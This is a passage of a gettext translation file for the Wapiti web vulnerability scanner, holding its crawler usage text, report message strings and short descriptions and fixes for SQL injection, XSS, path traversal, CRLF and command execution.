../net/lswww.py:801 ../net/lswww.py:754 #: ../net/lswww.py:762 ../net/lswww.py:764 msgid "TextAreas" msgstr "TextAreas" #: ../net/lswww.py:699 ../net/lswww.py:747 ../net/lswww.py:745 #: ../net/lswww.py:792 ../net/lswww.py:806 ../net/lswww.py:759 #: ../net/lswww.py:767 ../net/lswww.py:769 msgid "URLS" msgstr "URLS" #: ../net/lswww.py:783 msgid "lswwwDoc" msgstr "" " lswww explore a website and extract links and forms fields.\n" " \n" " Usage: python lswww.py http://server.com/base/url/ [options]\n" " \n" " Supported options are:\n" " -s \n" " --start \n" " \tTo specify an url to start with\n" " \n" " -x \n" " --exclude \n" " \tTo exclude an url from the scan (for example logout scripts)\n" " \tYou can also use a wildcard (*)\n" " \tExample : -x http://server/base/?page=*&module=test\n" " \tor -x http://server/base/admin/* to exclude a directory\n" " \n" " -p \n" " --proxy \n" " \tTo specify a proxy\n" " \tExemple: -p http://proxy:port/\n" " \n" " -c \n" " --cookie \n" " \tTo use a cookie\n" " \n" " -a \n" " --auth \n" " \tSet credentials for HTTP authentication\n" " \tDoesn't work with Python 2.4\n" " \n" " -r \n" " --remove \n" " \tRemove a parameter from URLs\n" " \n" " -v \n" " --verbose \n" " \tSet verbosity level\n" " \t 0: only print results\n" " \t 1: print a dot for each url found (default)\n" " \t 2: print each url\n" " \n" " -t \n" " --timeout \n" " \tSet the timeout (in seconds)\n" " \n" " -n \n" " --nice \n" " \tDefine a limit of urls to read with the same pattern\n" " \tUse this option to prevent endless loops\n" " \tMust be greater than 0\n" " \n" " -b \n" " --scope \n" " \tSet the scope of the scan:\n" " \t\t+ \"page\": to analyse only the page passed in the URL\n" " \t\t+ \"folder\":to analyse all the links to the pages which are in the " "same folder as the URL passed to Wapiti.\n" " \t\t+ \"domain\":to analyse all the links to the pages which are in the " "same domain as the URL passed to Wapiti.\n" " \tIf no scope is set, Wapiti scans all the tree under the given URL.\n" " \n" " -i \n" " --continue \n" " \tThis parameter indicates Wapiti to continue with the scan from the " "specified file, this file should contain data from a previous scan.\n" " \tThe file is optional, if it is not specified, Wapiti takes the default " "filefrom \"scans\" folder.\n" " \n" " -h\n" " --help\n" " \tTo print this usage message" #: ../attack/crlfattack.py:48 ../attack/crlfattack.py:53 #: ../attack/execattack.py:80 ../attack/execattack.py:86 #: ../attack/sqlinjectionattack.py:98 ../attack/mod_crlf.py:53 #: ../attack/mod_crlf.py:58 ../attack/mod_exec.py:82 ../attack/mod_exec.py:88 #: ../attack/mod_sql.py:98 ../attack/mod_exec.py:84 ../attack/mod_exec.py:90 #: ../attack/mod_sql.py:103 ../attack/mod_crlf.py:61 ../attack/mod_crlf.py:66 #: ../attack/mod_exec.py:91 ../attack/mod_exec.py:97 ../attack/mod_sql.py:111 msgid "(QUERY_STRING)" msgstr "(QUERY_STRING)" #: ../attack/crlfattack.py:49 ../attack/mod_crlf.py:54 #: ../attack/mod_crlf.py:62 msgid "CRLF Injection (QUERY_STRING) in" msgstr "CRLF Injection (QUERY_STRING) in" #: ../attack/crlfattack.py:50 ../attack/crlfattack.py:73 #: ../attack/execattack.py:88 ../attack/execattack.py:97 #: ../attack/execattack.py:131 ../attack/execattack.py:145 #: ../attack/filehandlingattack.py:111 ../attack/filehandlingattack.py:120 #: ../attack/filehandlingattack.py:154 ../attack/filehandlingattack.py:168 #: ../attack/sqlinjectionattack.py:100 ../attack/sqlinjectionattack.py:108 #: ../attack/sqlinjectionattack.py:138 ../attack/sqlinjectionattack.py:152 #: ../attack/sqlinjectionattack.py:225 ../attack/sqlinjectionattack.py:234 #: ../attack/sqlinjectionattack.py:258 ../attack/sqlinjectionattack.py:276 #: ../attack/xssattack.py:276 ../attack/xssattack.py:331 #: ../attack/xssattack.py:386 ../attack/xssattack.py:440 #: ../attack/xssattack.py:497 ../attack/mod_crlf.py:55 #: ../attack/mod_crlf.py:81 ../attack/mod_exec.py:90 ../attack/mod_exec.py:99 #: ../attack/mod_exec.py:133 ../attack/mod_exec.py:144 #: ../attack/mod_file.py:113 ../attack/mod_file.py:122 #: ../attack/mod_file.py:156 ../attack/mod_file.py:167 #: ../attack/mod_sql.py:100 ../attack/mod_sql.py:111 ../attack/mod_sql.py:141 #: ../attack/mod_sql.py:155 ../attack/mod_blindsql.py:75 #: ../attack/mod_blindsql.py:84 ../attack/mod_blindsql.py:112 #: ../attack/mod_blindsql.py:126 ../attack/mod_xss.py:279 #: ../attack/mod_xss.py:337 ../attack/mod_xss.py:395 ../attack/mod_xss.py:452 #: ../attack/mod_xss.py:512 ../attack/mod_xss.py:229 ../attack/mod_xss.py:287 #: ../attack/mod_xss.py:345 ../attack/mod_xss.py:402 ../attack/mod_xss.py:462 #: ../attack/mod_exec.py:92 ../attack/mod_exec.py:101 #: ../attack/mod_exec.py:135 ../attack/mod_exec.py:146 #: ../attack/mod_xss.py:283 ../attack/mod_htaccess.py:108 #: ../attack/mod_sql.py:105 ../attack/mod_sql.py:116 ../attack/mod_sql.py:146 #: ../attack/mod_sql.py:160 ../attack/mod_xss.py:285 ../attack/mod_xss.py:347 #: ../attack/mod_blindsql.py:76 ../attack/mod_blindsql.py:86 #: ../attack/mod_blindsql.py:115 ../attack/mod_blindsql.py:130 #: ../attack/mod_crlf.py:63 ../attack/mod_crlf.py:89 ../attack/mod_exec.py:108 #: ../attack/mod_exec.py:142 ../attack/mod_exec.py:153 #: ../attack/mod_file.py:121 ../attack/mod_file.py:130 #: ../attack/mod_file.py:165 ../attack/mod_file.py:176 #: ../attack/mod_sql.py:113 ../attack/mod_sql.py:124 ../attack/mod_sql.py:154 #: ../attack/mod_sql.py:168 ../attack/mod_blindsql.py:83 #: ../attack/mod_blindsql.py:93 ../attack/mod_blindsql.py:122 #: ../attack/mod_blindsql.py:137 ../attack/mod_xss.py:293 #: ../attack/mod_xss.py:355 msgid "Evil url" msgstr "Evil url" #: ../attack/crlfattack.py:54 ../attack/filehandlingattack.py:100 #: ../attack/filehandlingattack.py:101 ../attack/mod_crlf.py:59 #: ../attack/mod_file.py:102 ../attack/mod_file.py:103 #: ../attack/mod_crlf.py:67 ../attack/mod_file.py:110 #: ../attack/mod_file.py:111 msgid "Timeout (QUERY_STRING) in" msgstr "Timeout (QUERY_STRING) in" #: ../attack/crlfattack.py:55 ../attack/crlfattack.py:83 #: ../attack/execattack.py:77 ../attack/execattack.py:119 #: ../attack/filehandlingattack.py:102 ../attack/filehandlingattack.py:145 #: ../attack/mod_crlf.py:60 ../attack/mod_crlf.py:88 ../attack/mod_exec.py:79 #: ../attack/mod_exec.py:121 ../attack/mod_file.py:104 #: ../attack/mod_file.py:147 ../attack/mod_exec.py:81 #: ../attack/mod_exec.py:123 ../attack/mod_crlf.py:68 ../attack/mod_crlf.py:96 #: ../attack/mod_exec.py:88 ../attack/mod_exec.py:130 #: ../attack/mod_file.py:112 ../attack/mod_file.py:156 msgid "caused by" msgstr "caused by" #: ../attack/crlfattack.py:72 ../attack/crlfattack.py:82 #: ../attack/execattack.py:118 ../attack/execattack.py:130 #: ../attack/execattack.py:185 ../attack/filehandlingattack.py:144 #: ../attack/filehandlingattack.py:153 ../attack/filehandlingattack.py:208 #: ../attack/sqlinjectionattack.py:137 ../attack/sqlinjectionattack.py:188 #: ../attack/sqlinjectionattack.py:257 ../attack/xssattack.py:275 #: ../attack/xssattack.py:330 ../attack/xssattack.py:385 #: ../attack/mod_crlf.py:80 ../attack/mod_crlf.py:87 ../attack/mod_exec.py:120 #: ../attack/mod_exec.py:132 ../attack/mod_exec.py:185 #: ../attack/mod_file.py:146 ../attack/mod_file.py:155 #: ../attack/mod_file.py:207 ../attack/mod_sql.py:140 ../attack/mod_sql.py:191 #: ../attack/mod_blindsql.py:111 ../attack/mod_xss.py:278 #: ../attack/mod_xss.py:336 ../attack/mod_xss.py:394 ../attack/mod_xss.py:228 #: ../attack/mod_xss.py:286 ../attack/mod_xss.py:344 ../attack/mod_exec.py:122 #: ../attack/mod_exec.py:134 ../attack/mod_exec.py:187 #: ../attack/mod_xss.py:282 ../attack/mod_sql.py:193 ../attack/mod_sql.py:145 #: ../attack/mod_sql.py:198 ../attack/mod_xss.py:284 ../attack/mod_xss.py:346 #: ../attack/mod_blindsql.py:114 ../attack/mod_crlf.py:88 #: ../attack/mod_crlf.py:95 ../attack/mod_exec.py:129 #: ../attack/mod_exec.py:141 ../attack/mod_exec.py:194 #: ../attack/mod_file.py:164 ../attack/mod_file.py:216 #: ../attack/mod_sql.py:153 ../attack/mod_sql.py:206 #: ../attack/mod_blindsql.py:121 ../attack/mod_xss.py:292 #: ../attack/mod_xss.py:354 msgid "in" msgstr "in" #: ../attack/crlfattack.py:82 ../attack/execattack.py:118 #: ../attack/filehandlingattack.py:144 ../attack/mod_crlf.py:87 #: ../attack/mod_exec.py:120 ../attack/mod_file.py:146 #: ../attack/mod_exec.py:122 ../attack/mod_crlf.py:95 #: ../attack/mod_exec.py:129 ../attack/mod_file.py:155 msgid "Timeout" msgstr "Timeout" #: ../attack/execattack.py:76 ../attack/execattack.py:171 #: ../attack/filehandlingattack.py:198 ../attack/mod_exec.py:78 #: ../attack/mod_exec.py:170 ../attack/mod_file.py:197 #: ../attack/mod_exec.py:80 ../attack/mod_exec.py:172 ../attack/mod_exec.py:87 #: ../attack/mod_exec.py:179 ../attack/mod_file.py:206 msgid "Timeout in" msgstr "Timeout in" #: ../attack/execattack.py:87 ../attack/filehandlingattack.py:109 #: ../attack/filehandlingattack.py:110 ../attack/sqlinjectionattack.py:99 #: ../attack/mod_exec.py:89 ../attack/mod_file.py:111 #: ../attack/mod_file.py:112 ../attack/mod_sql.py:99 ../attack/mod_exec.py:91 #: ../attack/mod_sql.py:104 ../attack/mod_exec.py:98 ../attack/mod_file.py:119 #: ../attack/mod_file.py:120 ../attack/mod_sql.py:112 msgid "(QUERY_STRING) in" msgstr "(QUERY_STRING) in" #: ../attack/execattack.py:96 ../attack/execattack.py:144 #: ../attack/filehandlingattack.py:119 ../attack/filehandlingattack.py:167 #: ../attack/sqlinjectionattack.py:107 ../attack/sqlinjectionattack.py:151 #: ../attack/sqlinjectionattack.py:233 ../attack/sqlinjectionattack.py:275 #: ../attack/mod_exec.py:98 ../attack/mod_exec.py:143 #: ../attack/mod_file.py:121 ../attack/mod_file.py:166 #: ../attack/mod_sql.py:110 ../attack/mod_sql.py:154 #: ../attack/mod_blindsql.py:83 ../attack/mod_blindsql.py:125 #: ../attack/mod_exec.py:100 ../attack/mod_exec.py:145 #: ../attack/mod_htaccess.py:107 ../attack/mod_sql.py:115 #: ../attack/mod_sql.py:159 ../attack/mod_blindsql.py:85 #: ../attack/mod_blindsql.py:129 ../attack/mod_exec.py:107 #: ../attack/mod_exec.py:152 ../attack/mod_file.py:129 #: ../attack/mod_file.py:175 ../attack/mod_sql.py:123 ../attack/mod_sql.py:167 #: ../attack/mod_blindsql.py:92 ../attack/mod_blindsql.py:136 msgid "500 HTTP Error code with" msgstr "500 HTTP Error code with" #: ../attack/execattack.py:172 ../attack/execattack.py:186 #: ../attack/execattack.py:197 ../attack/filehandlingattack.py:199 #: ../attack/filehandlingattack.py:209 ../attack/filehandlingattack.py:220 #: ../attack/sqlinjectionattack.py:189 ../attack/sqlinjectionattack.py:199 #: ../attack/sqlinjectionattack.py:304 ../attack/sqlinjectionattack.py:319 #: ../attack/xssattack.py:270 ../attack/xssattack.py:325 #: ../attack/xssattack.py:380 ../attack/xssattack.py:434 #: ../attack/xssattack.py:491 ../attack/mod_exec.py:171 #: ../attack/mod_exec.py:187 ../attack/mod_exec.py:190 #: ../attack/mod_exec.py:202 ../attack/mod_file.py:198 #: ../attack/mod_file.py:209 ../attack/mod_file.py:212 #: ../attack/mod_file.py:224 ../attack/mod_sql.py:193 ../attack/mod_sql.py:196 #: ../attack/mod_sql.py:211 ../attack/mod_blindsql.py:161 #: ../attack/mod_blindsql.py:164 ../attack/mod_blindsql.py:179 #: ../attack/mod_xss.py:271 ../attack/mod_xss.py:273 ../attack/mod_xss.py:329 #: ../attack/mod_xss.py:331 ../attack/mod_xss.py:387 ../attack/mod_xss.py:389 #: ../attack/mod_xss.py:444 ../attack/mod_xss.py:446 ../attack/mod_xss.py:504 #: ../attack/mod_xss.py:506 ../attack/mod_xss.py:221 ../attack/mod_xss.py:223 #: ../attack/mod_xss.py:279 ../attack/mod_xss.py:281 ../attack/mod_xss.py:337 #: ../attack/mod_xss.py:339 ../attack/mod_xss.py:394 ../attack/mod_xss.py:396 #: ../attack/mod_xss.py:454 ../attack/mod_xss.py:456 ../attack/mod_exec.py:173 #: ../attack/mod_exec.py:189 ../attack/mod_exec.py:192 #: ../attack/mod_exec.py:204 ../attack/mod_xss.py:275 ../attack/mod_xss.py:277 #: ../attack/mod_sql.py:195 ../attack/mod_sql.py:198 ../attack/mod_sql.py:212 #: ../attack/mod_sql.py:200 ../attack/mod_sql.py:203 ../attack/mod_sql.py:217 #: ../attack/mod_xss.py:341 ../attack/mod_blindsql.py:166 #: ../attack/mod_blindsql.py:169 ../attack/mod_blindsql.py:185 #: ../attack/mod_exec.py:180 ../attack/mod_exec.py:196 #: ../attack/mod_exec.py:199 ../attack/mod_exec.py:211 #: ../attack/mod_file.py:207 ../attack/mod_file.py:218 #: ../attack/mod_file.py:221 ../attack/mod_file.py:233 #: ../attack/mod_sql.py:208 ../attack/mod_sql.py:225 #: ../attack/mod_blindsql.py:173 ../attack/mod_blindsql.py:176 #: ../attack/mod_blindsql.py:192 ../attack/mod_xss.py:285 #: ../attack/mod_xss.py:287 ../attack/mod_xss.py:347 ../attack/mod_xss.py:349 msgid "with params" msgstr "with params" #: ../attack/execattack.py:173 ../attack/execattack.py:184 #: ../attack/execattack.py:187 ../attack/execattack.py:198 #: ../attack/filehandlingattack.py:200 ../attack/filehandlingattack.py:207 #: ../attack/filehandlingattack.py:210 ../attack/filehandlingattack.py:221 #: ../attack/sqlinjectionattack.py:187 ../attack/sqlinjectionattack.py:190 #: ../attack/sqlinjectionattack.py:200 ../attack/sqlinjectionattack.py:305 #: ../attack/sqlinjectionattack.py:320 ../attack/xssattack.py:271 #: ../attack/xssattack.py:326 ../attack/xssattack.py:381 #: ../attack/xssattack.py:435 ../attack/xssattack.py:492 #: ../attack/mod_exec.py:172 ../attack/mod_exec.py:184 #: ../attack/mod_exec.py:191 ../attack/mod_exec.py:203 #: ../attack/mod_file.py:199 ../attack/mod_file.py:206 #: ../attack/mod_file.py:213 ../attack/mod_file.py:225 #: ../attack/mod_sql.py:190 ../attack/mod_sql.py:197 ../attack/mod_sql.py:212 #: ../attack/mod_blindsql.py:165 ../attack/mod_blindsql.py:180 #: ../attack/mod_xss.py:274 ../attack/mod_xss.py:332 ../attack/mod_xss.py:390 #: ../attack/mod_xss.py:447 ../attack/mod_xss.py:507 ../attack/mod_xss.py:224 #: ../attack/mod_xss.py:282 ../attack/mod_xss.py:340 ../attack/mod_xss.py:397 #: ../attack/mod_xss.py:457 ../attack/mod_exec.py:174 #: ../attack/mod_exec.py:186 ../attack/mod_exec.py:193 #: ../attack/mod_exec.py:205 ../attack/mod_xss.py:278 ../attack/mod_sql.py:192 #: ../attack/mod_sql.py:199 ../attack/mod_sql.py:213 ../attack/mod_sql.py:204 #: ../attack/mod_sql.py:218 ../attack/mod_xss.py:280 ../attack/mod_xss.py:342 #: ../attack/mod_blindsql.py:170 ../attack/mod_blindsql.py:186 #: ../attack/mod_exec.py:181 ../attack/mod_exec.py:200 #: ../attack/mod_exec.py:212 ../attack/mod_file.py:208 #: ../attack/mod_file.py:215 ../attack/mod_file.py:222 #: ../attack/mod_file.py:234 ../attack/mod_sql.py:205 ../attack/mod_sql.py:226 #: ../attack/mod_blindsql.py:177 ../attack/mod_blindsql.py:193 #: ../attack/mod_xss.py:288 ../attack/mod_xss.py:350 msgid "coming from" msgstr "coming from" #: ../attack/execattack.py:177 ../attack/filehandlingattack.py:197 #: ../attack/mod_exec.py:176 ../attack/mod_file.py:196 #: ../attack/mod_exec.py:178 ../attack/mod_exec.py:185 #: ../attack/mod_file.py:205 msgid "Timeout coming from" msgstr "Timeout coming from" #: ../attack/execattack.py:194 ../attack/filehandlingattack.py:217 #: ../attack/sqlinjectionattack.py:196 ../attack/sqlinjectionattack.py:316 #: ../attack/mod_exec.py:199 ../attack/mod_file.py:221 #: ../attack/mod_sql.py:208 ../attack/mod_blindsql.py:176 #: ../attack/mod_exec.py:201 ../attack/mod_sql.py:209 ../attack/mod_sql.py:214 #: ../attack/mod_blindsql.py:182 ../attack/mod_exec.py:208 #: ../attack/mod_file.py:230 ../attack/mod_sql.py:222 #: ../attack/mod_blindsql.py:189 msgid "500 HTTP Error code coming from" msgstr "500 HTTP Error code coming from" #: ../attack/execattack.py:196 ../attack/filehandlingattack.py:219 #: ../attack/sqlinjectionattack.py:198 ../attack/sqlinjectionattack.py:318 #: ../attack/mod_exec.py:201 ../attack/mod_file.py:223 #: ../attack/mod_sql.py:210 ../attack/mod_blindsql.py:178 #: ../attack/mod_exec.py:203 ../attack/mod_sql.py:211 ../attack/mod_sql.py:216 #: ../attack/mod_blindsql.py:184 ../attack/mod_exec.py:210 #: ../attack/mod_file.py:232 ../attack/mod_sql.py:224 #: ../attack/mod_blindsql.py:191 msgid "500 HTTP Error code in" msgstr "500 HTTP Error code in" #: ../attack/sqlinjectionattack.py:223 ../attack/mod_blindsql.py:73 #: ../attack/mod_blindsql.py:74 ../attack/mod_blindsql.py:81 msgid "Blind SQL Injection (QUERY_STRING)" msgstr "Blind SQL Injection (QUERY_STRING)" #: ../attack/sqlinjectionattack.py:224 ../attack/mod_blindsql.py:74 #: ../attack/mod_blindsql.py:75 ../attack/mod_blindsql.py:82 msgid "Blind SQL Injection (QUERY_STRING) in" msgstr "Blind SQL Injection (QUERY_STRING) in" #: ../attack/sqlinjectionattack.py:256 ../attack/sqlinjectionattack.py:257 #: ../attack/sqlinjectionattack.py:263 ../attack/sqlinjectionattack.py:264 #: ../config/vulnerabilities/vulnerabilities.xml:17 #: ../attack/mod_blindsql.py:109 ../attack/mod_blindsql.py:111 #: ../attack/mod_blindsql.py:114 ../attack/mod_blindsql.py:112 #: ../attack/mod_blindsql.py:117 ../attack/mod_blindsql.py:119 #: ../attack/mod_blindsql.py:121 ../attack/mod_blindsql.py:124 msgid "Blind SQL Injection" msgstr "Blind SQL Injection" #: ../attack/sqlinjectionattack.py:302 ../attack/mod_blindsql.py:158 #: ../attack/mod_blindsql.py:163 ../attack/mod_blindsql.py:170 msgid "Blind SQL Injection coming from" msgstr "Blind SQL Injection coming from" #: ../attack/sqlinjectionattack.py:303 ../attack/mod_blindsql.py:159 #: ../attack/mod_blindsql.py:164 ../attack/mod_blindsql.py:171 msgid "Blind SQL Injection in" msgstr "Blind SQL Injection in" #: ../attack/xssattack.py:132 ../attack/xssattack.py:135 #: ../attack/xssattack.py:155 ../attack/mod_xss.py:133 #: ../attack/mod_xss.py:136 ../attack/mod_xss.py:156 #: ../attack/mod_permanentxss.py:69 ../attack/mod_permanentxss.py:76 #: ../attack/mod_permanentxss.py:81 ../attack/mod_permanentxss.py:103 #: ../attack/mod_permanentxss.py:105 msgid "Found permanent XSS in" msgstr "Found permanent XSS in" #: ../attack/xssattack.py:132 ../attack/xssattack.py:135 #: ../attack/mod_xss.py:133 ../attack/mod_xss.py:136 #: ../attack/mod_permanentxss.py:69 ../attack/mod_permanentxss.py:77 #: ../attack/mod_permanentxss.py:81 ../attack/mod_permanentxss.py:83 msgid "with" msgstr "with" #: ../attack/xssattack.py:153 ../attack/mod_xss.py:154 #: ../attack/mod_permanentxss.py:101 ../attack/mod_permanentxss.py:103 msgid "Found permanent XSS attacked by" msgstr "Found permanent XSS attacked by" #: ../attack/xssattack.py:154 ../attack/mod_xss.py:155 #: ../attack/mod_permanentxss.py:102 msgid "with field" msgstr "with field" #: ../attack/xssattack.py:156 ../attack/mod_xss.py:157 #: ../attack/mod_permanentxss.py:105 ../attack/mod_permanentxss.py:108 #: ../attack/mod_permanentxss.py:107 ../attack/mod_permanentxss.py:110 msgid "attacked by" msgstr "attacked by" #: ../attack/xssattack.py:156 ../attack/mod_xss.py:157 #: ../attack/mod_permanentxss.py:105 ../attack/mod_permanentxss.py:108 #: ../attack/mod_permanentxss.py:104 ../attack/mod_permanentxss.py:107 #: ../attack/mod_permanentxss.py:110 msgid "with fields" msgstr "with fields" #: ../attack/xssattack.py:261 ../attack/xssattack.py:266 #: ../attack/xssattack.py:275 ../attack/xssattack.py:278 #: ../attack/xssattack.py:316 ../attack/xssattack.py:321 #: ../attack/xssattack.py:330 ../attack/xssattack.py:333 #: ../attack/xssattack.py:372 ../attack/xssattack.py:377 #: ../attack/xssattack.py:385 ../attack/xssattack.py:388 #: ../attack/xssattack.py:426 ../attack/xssattack.py:431 #: ../attack/xssattack.py:439 ../attack/xssattack.py:442 #: ../attack/xssattack.py:482 ../attack/xssattack.py:487 #: ../attack/xssattack.py:496 ../attack/xssattack.py:499 #: ../attack/mod_xss.py:261 ../attack/mod_xss.py:266 ../attack/mod_xss.py:278 #: ../attack/mod_xss.py:281 ../attack/mod_xss.py:319 ../attack/mod_xss.py:324 #: ../attack/mod_xss.py:336 ../attack/mod_xss.py:339 ../attack/mod_xss.py:378 #: ../attack/mod_xss.py:383 ../attack/mod_xss.py:394 ../attack/mod_xss.py:397 #: ../attack/mod_xss.py:435 ../attack/mod_xss.py:440 ../attack/mod_xss.py:451 #: ../attack/mod_xss.py:454 ../attack/mod_xss.py:494 ../attack/mod_xss.py:499 #: ../attack/mod_xss.py:511 ../attack/mod_xss.py:514 ../attack/mod_xss.py:211 #: ../attack/mod_xss.py:216 ../attack/mod_xss.py:228 ../attack/mod_xss.py:231 #: ../attack/mod_xss.py:269 ../attack/mod_xss.py:274 ../attack/mod_xss.py:286 #: ../attack/mod_xss.py:289 ../attack/mod_xss.py:328 ../attack/mod_xss.py:333 #: ../attack/mod_xss.py:344 ../attack/mod_xss.py:347 ../attack/mod_xss.py:385 #: ../attack/mod_xss.py:390 ../attack/mod_xss.py:401 ../attack/mod_xss.py:404 #: ../attack/mod_xss.py:444 ../attack/mod_xss.py:449 ../attack/mod_xss.py:461 #: ../attack/mod_xss.py:464 ../attack/mod_xss.py:265 ../attack/mod_xss.py:270 #: ../attack/mod_xss.py:282 ../attack/mod_xss.py:285 ../attack/mod_xss.py:327 #: ../attack/mod_xss.py:332 ../attack/mod_xss.py:267 ../attack/mod_xss.py:272 #: ../attack/mod_xss.py:284 ../attack/mod_xss.py:287 ../attack/mod_xss.py:329 #: ../attack/mod_xss.py:334 ../attack/mod_xss.py:346 ../attack/mod_xss.py:349 #: ../attack/mod_xss.py:275 ../attack/mod_xss.py:280 ../attack/mod_xss.py:292 #: ../attack/mod_xss.py:295 msgid "XSS" msgstr "XSS" #: ../attack/xssattack.py:269 ../attack/xssattack.py:324 #: ../attack/xssattack.py:379 ../attack/xssattack.py:433 #: ../attack/xssattack.py:490 ../attack/mod_xss.py:269 #: ../attack/mod_xss.py:327 ../attack/mod_xss.py:385 ../attack/mod_xss.py:442 #: ../attack/mod_xss.py:502 ../attack/mod_xss.py:219 ../attack/mod_xss.py:277 #: ../attack/mod_xss.py:335 ../attack/mod_xss.py:392 ../attack/mod_xss.py:452 #: ../attack/mod_xss.py:273 ../attack/mod_xss.py:275 ../attack/mod_xss.py:337 #: ../attack/mod_xss.py:283 msgid "Found XSS in" msgstr "Found XSS in" #: ../attack/vulnerabilitiesdescriptions.py:2 msgid "500 HTTP Error code" msgstr "500 HTTP Error code" #: ../attack/vulnerabilitiesdescriptions.py:3 msgid "500 Error description" msgstr "" "Internal Server Error. The server encountered an unexpected condition which " "prevented it from fulfilling the request." #: ../config/vulnerabilities/vulnerabilities.xml:3 msgid "SQL Injection" msgstr "SQL Injection" #: ../config/vulnerabilities/vulnerabilities.xml:4 msgid "SQL Injection description" msgstr "" "SQL injection is a technique that exploits a vulnerability occurring in the " "database of an application." #: ../config/vulnerabilities/vulnerabilities.xml:5 msgid "SQL Injection solution" msgstr "" "To protect against SQL injection, user input must not directly be embedded " "in SQL statements. Instead, user input must be escaped or filtered or " "parameterized statements must be used." #: ../config/vulnerabilities/vulnerabilities.xml:18 msgid "Blind SQL Injection description" msgstr "" "Blind SQL injection is a technique that exploits a vulnerability occurring " "in the database of an application. This kind of vulnerability is harder to " "detect than basic SQL injections because no error message will be displayed " "on the webpage." #: ../config/vulnerabilities/vulnerabilities.xml:19 msgid "Blind SQL Injection solution" msgstr "" "To protect against SQL injection, user input must not directly be embedded " "in SQL statements. Instead, user input must be escaped or filtered or " "parameterized statements must be used." #: ../config/vulnerabilities/vulnerabilities.xml:31 msgid "File Handling" msgstr "File Handling" #: ../config/vulnerabilities/vulnerabilities.xml:32 msgid "File Handling description" msgstr "" "This attack is also known as Path Transversal or Directory Transversal, its " "aim is the access to files and directories that are stored outside the web " "root folder. The attacker tries to explore the directories stored in the web " "server. The attacker uses some techniques, for instance, the manipulation of " "variables that reference files with 'dot-dot-slash (../)' sequences and its " "variations to move up to root directory to navigate through the file system." #: ../config/vulnerabilities/vulnerabilities.xml:33 msgid "File Handling solution" msgstr "" "Prefer working without user input when using file system calls
    Use " "indexes rather than actual portions of file names when templating or using " "language files (ie value 5 from the user submission = Czechoslovakian, " "rather than expecting the user to return 'Czechoslovakian').
    Ensure the " "user cannot supply all parts of the path – surround it with your path code." "
    Validate the user’s input by only accepting known good – do not sanitize " "the data.
    Use chrooted jails and code access policies to restrict where " "the files can be obtained or saved to." #: ../config/vulnerabilities/vulnerabilities.xml:45 msgid "Cross Site Scripting" msgstr "Cross Site Scripting" #: ../config/vulnerabilities/vulnerabilities.xml:46 msgid "Cross Site Scripting description" msgstr "" "Cross-site scripting (XSS) is a type of computer security vulnerability " "typically found in web applications which allow code injection by malicious " "web users into the web pages viewed by other users. Examples of such code " "include HTML code and client-side scripts." #: ../config/vulnerabilities/vulnerabilities.xml:47 msgid "Cross Site Scripting solution" msgstr "" "The best way to protect a web application from XSS attacks is ensure that " "the application performs validation of all headers, cookies, query strings, " "form fields, and hidden fields. Encoding user supplied output in the server " "side can also defeat XSS vulnerabilities by preventing inserted scripts from " "being transmitted to users in an executable form. Applications can gain " "significant protection from javascript based attacks by converting the " "following characters in all generated output to the appropriate HTML entity " "encoding: <, >, &, ", ', (, ), #, %, ; , +, -." #: ../config/vulnerabilities/vulnerabilities.xml:59 msgid "CRLF" msgstr "CRLF" #: ../config/vulnerabilities/vulnerabilities.xml:60 msgid "CRLF description" msgstr "" "The term CRLF refers to Carriage Return (ASCII 13, \\r) Line Feed (ASCII 10, " "\\n). They're used to note the termination of a line, however, dealt with " "differently in today’s popular Operating Systems. For example: in Windows " "both a CR and LF are required to note the end of a line, whereas in Linux/" "UNIX a LF is only required. This combination of CR and LR is used for " "example when pressing 'Enter' on the keyboard. Depending on the application " "being used, pressing 'Enter' generally instructs the application to start a " "new line, or to send a command." #: ../config/vulnerabilities/vulnerabilities.xml:61 msgid "CRLF solution" msgstr "" "Check the submitted parameters and do not allow CRLF to be injected by " "filtering CRLF" #: ../config/vulnerabilities/vulnerabilities.xml:73 msgid "Commands execution" msgstr "Commands execution" #: ../config/vulnerabilities/vulnerabilities.xml:74 msgid "Commands execution description" msgstr "" "This attack consists in executing system commands on the server. The " "attacker tries to inject this commands in the request parameters" #: ../config/vulnerabilities/vulnerabilities.xml:75 msgid "Commands execution solution" msgstr "Prefer working without user input when using file system calls" #: ../config/vulnerabilities/vulnerabilities.xml:83 msgid "Resource consumption" msgstr "Resource consumption" #: ../config/vulnerabilities/vulnerabilities.xml:84 msgid "Resource consumption description" msgstr "" "An attacker can force a victim to consume more resources than should be " "allowed for the attacker's level of access. The program can potentially fail " "to release or incorrectly release a system resource. A resource is not " "properly cleared and made available for re-use. It can also be a false-" "positive due to a too short timeout used for the scan." #: ../config/vulnerabilities/vulnerabilities.xml:85 msgid "Resource consumption solution" msgstr "" "Configure properly the software giving the ressource to avoid memory " "consumption or system load." #: ../wapiti.py:481 ../wapiti.py:483 ../net/lswww.py:463 ../net/lswww.py:465 #: ../net/lswww.py:472 ../wapiti.py:436 ../wapiti.py:438 ../net/lswww.py:506 #: ../net/lswww.py:515 ../net/lswww.py:512 ../net/lswww.py:521 #: ../wapiti.py:435 ../wapiti.py:437 ../wapiti.py:440 ../net/lswww.py:471 #: ../net/lswww.py:480 ../wapiti.py:443 ../net/lswww.py:479 #: ../net/lswww.py:488 ../net/lswww.py:481 ../net/lswww.py:490 msgid "File" msgstr "File" #: ../wapiti.py:481 ../wapiti.py:436 ../wapiti.py:435 ../wapiti.py:438 #: ../wapiti.py:441 msgid "loaded, Wapiti will use it to perform the attacks" msgstr "loaded, Wapiti will use it to perform the attacks" #: ../wapiti.py:483 ../net/lswww.py:465 ../net/lswww.py:472 ../wapiti.py:438 #: ../net/lswww.py:515 ../net/lswww.py:521 ../wapiti.py:437 ../wapiti.py:441 #: ../net/lswww.py:480 ../wapiti.py:444 ../net/lswww.py:488 #: ../net/lswww.py:490 msgid "not found, Wapiti will scan again the web site" msgstr "not found, Wapiti will scan again the web site" #: ../net/lswww.py:463 ../net/lswww.py:506 ../net/lswww.py:512 #: ../net/lswww.py:471 ../net/lswww.py:479 ../net/lswww.py:481 msgid "loaded, the scan continues" msgstr "loaded, the scan continues" #: ../net/lswww.py:506 ../net/lswww.py:489 ../net/lswww.py:496 #: ../net/lswww.py:535 ../net/lswww.py:542 ../net/lswww.py:544 #: ../net/lswww.py:551 ../net/lswww.py:503 ../net/lswww.py:510 #: ../net/lswww.py:511 ../net/lswww.py:518 ../net/lswww.py:513 #: ../net/lswww.py:520 msgid "Notice" msgstr "Notice" #: ../net/lswww.py:508 